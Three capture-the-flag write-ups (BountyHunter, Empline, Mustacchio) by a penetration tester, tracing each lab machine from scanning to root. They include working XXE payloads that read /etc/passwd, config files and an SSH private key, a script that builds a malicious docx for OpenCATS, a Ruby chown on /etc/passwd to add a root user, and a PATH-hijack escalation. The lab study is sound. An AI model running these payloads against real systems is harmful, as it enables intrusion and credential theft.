BountyHunter HackTheBox Writeup

Scanning

We run nmap on all ports with scripts and software versions.

Enumeration

We access the web resource and review the source code.

Commented code

We launch dirsearch, list some interesting files and directories.

Files by extension

Directory listing

We review the "README.txt" file and find a list of unfinished tasks.

We read the file "bountylog.js", we find the url of the application tracker. Seen these files, it seems that the way is to exploit the application.

File result

Exploitation

From the website, we find the "portal" section that will take us to this "Beta" form that we will have to exploit.

Since the application loads "xml" tags, it is very likely that we will have to exploit some XXE style vulnerability.

Let's get to it! We capture a request from the form, we see a string in urlencode + base64.

We modify the values, insert a variable called "poc" with the value "1", insert in the field "title".

We encode again in reverse and see that it works.

File read ()

*note: Remember to encode!

If we remember the dirsearch log, we find a file called "db.php", these files usually have the flat credentials of the database connection. It is also possible that passwords are being reused. (in addition, we also have the users thanks to the reading of /etc/passwd).

We connect through the SSH service, read the user flag and see that we can execute a script as root.

Privilege Escalation

We read the file "ticketValidator.py", we do not have permissions to modify it. Inside, we find a conditional that is executed when the variable "validationNumber" is greater than 100, so it returns a "True".

We see an example of failed tickets, this will help us with the structuring.

We create in a folder where we have read our malicious file "m3.md".

Now we will call the script as sudo and load our files, we become root and we can read the flag.

---

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Read More

Empline TryHackMe Writeup

Scanning

We run nmap on all ports with scripts and software versions.

Enumeration

We access website and review all zones of site.

We list a subdomain that appears to lead to an employee area.

We found deployed an Opencats with version 0.9.4.

We launch "dirsearch", we list a directory where it shows us a panel that we can access without authentication.

Deficient control panel to authorization control

Exploitation

We search exploits and found this notice: https://www.opencats.org/news/2019/july/

Create with python docx_

#!/usr/bin/env python
from docx import Document
document = Document()
paragraph = document.add_paragraph('m3n0sd0n4ld')
document.save('m3n0s.docx')

Create m3n0s.docx

Unzip the file and edit the "document.xml".

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE payload [<!ENTITY payload SYSTEM "/etc/passwd"> ]>

We insert the following line (in orange color) and modify the text to "&payload".

We see that the proof of concept works: .

So now we read the "config.php" file where the database credentials are stored (remember that we have access to the service on port 3306).

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE payload [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&payload;</data>

We will get the content of the file in base64, so we decode and we will have the credentials in plain text.

Connect to the database

We select the table "users" and we will obtain the encrypted password of the user "george" (this one has a system user ;))

We use the "hashes.com" website to obtain the flat password through its hash.

Read user.txt flag

With the password in plain text, we connect through the SSH service and read the "user.txt" file.

Privilege Escalation

After an enumeration, "linpeas.sh" shows us that we have permissions with the "ruby" binary to modify the binary user due to a deficiency in capabilities.

We create a ruby file that we will use to modify the user of the file so we can edit it with our user.

file = File.new("/etc/passwd", "r")
file.chown(1002, 1002)

Edit the file "/etc/passwd" and create the user "m3n0sd0n4ld", add the password hash and give it the root suid and save the file.

We authenticate with the user "m3n0sd0n4ld", we see that we are root and we read the root.txt flag.

---

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Read More

Mustacchio TryHackMe Writeup

Scanning

We performed an nmap scan of all ports, with scripts and versions.

Enumeration

We access the first web resource (port 80), check the website and its source code, but find nothing useful.

We launch the dirsearch tool, list the directory "/custom/" which looks interesting.

We access the directory and find a file "users.bak" which usually contains relevant information.

Download the file, crack the password hash with an online tool and get the password in clear.

We access the other web resource (port 8765), insert the credentials in the administration panel and access the inside of the application.

Exploitation

We see that the site asks us to write XML code.

We do some XML code tests, nothing interesting so far. But on the other hand, we see a new path to a .bak file and we get a hint that the user "Barry" can connect via SSH service with his private key.

We download the file, we see that we have listed the structure of the XML in question, so we could continue investigating to exploit it.

Testing

PoC XXE/XEE

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>
<comment>
  <name>Testing</name>
  <author>m3n0sd0n4ld</author>
  <com>&xxe;</com>
</comment>

We repeat the same process, this time we will read the id_rsa file of the user "Barry".

We copy the key, we see that it is encrypted. We use the tool ssh2john.py and crack it with the rockyou dictionary.

We authenticate through the SSH service and read the user.txt flag.

We list the binary "live_log" in the path of the user "joe".

Use strings in file

Privilege Escalation

Since the call to the "tail" binary is not made with its absolute path, an attacker could create a malicious binary and change its PATH to execute the illegitimate one.

---

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Read More